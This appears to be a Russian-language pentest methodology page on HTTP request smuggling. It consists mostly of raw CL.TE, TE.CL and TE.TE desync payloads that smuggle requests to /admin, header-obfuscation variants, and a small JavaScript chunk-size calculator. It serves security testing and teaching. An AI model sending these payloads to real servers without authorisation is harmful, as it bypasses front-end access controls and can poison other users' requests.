Перейти к основному содержимому

HTTP Request Smuggling

:::tip Формат страницы

Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.

:::

Порядок действий

  1. Определите контекст (аутентификация, роль, границы доверия).
  2. Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
  3. Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
  4. Примеры запросов и команд ниже — на английском.

Методика

Введение

POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

user=test&password=1234
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

17
user=test&password=1234
0

HTTP smuggling attacks

CL.TE.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

TE.CL.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<title>Chunk Calculator</title>
<style>body {font-family: sans-serif;}</style>
</head>

<body>
<h1>Chunk Calculator</h1>
<h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
<textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
<p>The chunk size is <strong id="size"></strong></p>
<pre id="explanation"></pre>
<script>
function calc() {
var chunk = document.getElementsByName("chunk")[0].value;
var lines = chunk.split("\n");
var linesLength = lines.length;
var chars = 0;
var explanation = document.getElementById("explanation");
explanation.innerHTML = "";
for (var i = 0; i < linesLength; i++) {
var line = lines[i];
var lineLength = line.length;
chars += lineLength;
if (i < linesLength - 1) {
chars += 2;
explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
} else {
explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
}
}
document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
}
</script>
</body>

</html>

TE.TE.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:<tab>chunked

Transfer-Encoding: chunked

X: X%0aTransfer-Encoding: chunked

Transfer-Encoding
: chunked
POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Ссылки